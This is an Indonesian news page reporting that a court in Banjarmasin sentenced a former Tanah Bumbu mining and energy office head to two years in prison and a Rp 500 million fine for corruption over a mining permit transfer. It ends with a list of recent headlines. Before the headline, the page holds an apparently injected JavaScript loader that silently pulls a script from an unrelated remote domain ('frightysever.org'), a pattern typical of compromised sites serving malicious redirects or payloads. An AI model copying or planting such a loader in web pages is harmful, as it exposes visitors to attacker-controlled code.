(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tok! Vonis 2 Tahun Penjara Mantan Kadis ESDM Tanbu


KANALKALIMANTAN.COM, BANJARMASIN – Hakim memvonis 2 tahun penjara dan denda Rp 500 juta terdakwa mantan Kepala Dinas Energi dan Sumber Daya Manusia (ESDM) Kabupaten Tanah Bumbu, Raden Dwidjono Putrohadi Sutopo dalam sidang pembacaan putusan di Pengadilan Tipikor Banjarmasin, Rabu (22/6/2022).

Mantan Kadis ESDM Tanbu era Bupati Mardani H Maming tersebut menjadi terdakwa dalam kasus tidak pidana korupsi pengalihan Izin Usaha Pertambangan (IUP) Operasi Produksi PT Bangun Karya Pratama Lestari (PT BKPL) kepada PT Prolindo Cipta Nusantara (PT PCN) di Kabupaten Tanah Bumbu.

Dalam pertimbangan majelis hakim menyatakan bahwa terdakwa Raden Dwidjono Putrohadi Sutopo merupakan pelaku utama dan telah memenuhi unsur tindak pidana korupsi pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang tindak pidana korupsi, sebagaimana dakwaan JPU (Jaksa Penuntut Umum) komulatif pertama alternatif ketiga pada sidang dakwaan sebelumnya.

 

 

Baca juga: KPK Tegaskan Punya Cukup Bukti Terkait Kasus Mardani Maming

Dalam pertimbangan majelis hakim yang meringankan terdakwa, hakim menyatakan bahwa terdakwa berlaku sopan selama persidangan dan belum pernah dihukum sebelumnya.

Penasehat hukum terdakwa Lucky Omega Hasan setelah sidang putusan mengatakan bahwa pihaknya sangat mengapresiasi atas putusan hakim dan belum bisa memutuskan apakah mengajukan banding atau menerima putusan untuk saat ini.

“Kita sangat mengapresiasi putusan hakim dan untuk apakah mengajukan banding, tim kita masih pikir-pikir,” katanya.

Sidang pembacaan putusan di Pengadilan Tipikor Banjarmasin, Rabu (22/6/2022). Foto: rizki

Sebelumnya terdakwa Dwi dituntut hukuman 5 tahun penjara oleh JPU serta didenda Rp 1,3 miliar. JPU menilai terdakwa Dwidjono telah terbukti secara sah dan meyakinkan melakukan dua tindak pidana, korupsi berupa gratifikasi dan tindak pidana pencucian uang (TTPU). (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : kk


Risa

Recent Posts

Buka Sekolah Tenis Albasia, Ini Harapan Wabup Banjar

KANALKALIMANTAN.COM. MARTAPURA - Sebuah Sekolah Tenis Albasia untuk anak usia dini dan pemula didirikan di… Read More

3 jam ago

Cerita Saksi Mata Tabrakan Beruntun di Turunan Jembatan S Parman Banjarmasin, Dua Truk Kontainer Tiga Mobil Dua Motor

KANALKALIMANTAN.COM, BANJARMASIN - Tabrakan beruntung terjadi di Jalan S Parman Kota Banjarmasin melibatkan truk kontainer… Read More

19 jam ago

Tabrakan Beruntun di S Parman Banjarmasin, Truk Kontainer dan Sejumlah Mobil

KANALKALIMANTAN.COM, BANJARMASIN - Tabrakan beruntung terjadi di Jalan S Parman tepatnya dekat jembatan kembar Kota… Read More

21 jam ago

Dinas PUPRP Banjar Selesaikan 99,99 Persen Pekerjaan 2024

KANALKALIMANTAN.COM, MARTAPURA - Realisasi pekerjaan tang dilakukan Dinas Pekerjaan Umum Penataan Ruang dan Pertanahan (PUPRP)… Read More

1 hari ago

Hujan Lebat di Gambut, Atap Rumah Terbang Dibawa Angin Kencang

KANALKALIMANTAN.COM, MARTAPURA - Angin kencang disertai hujan melanda Kabupaten Banjar Kalimantan Selatan (Kalsel), Sabtu (11/1/2025)… Read More

1 hari ago

Air Mancur Menari di Taman Van der Pijl, Ini Respon Sang Cucu Perancang Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Air mancur menari di Taman Van der Pijl Banjarbaru menjadi salah satu… Read More

1 hari ago

This website uses cookies.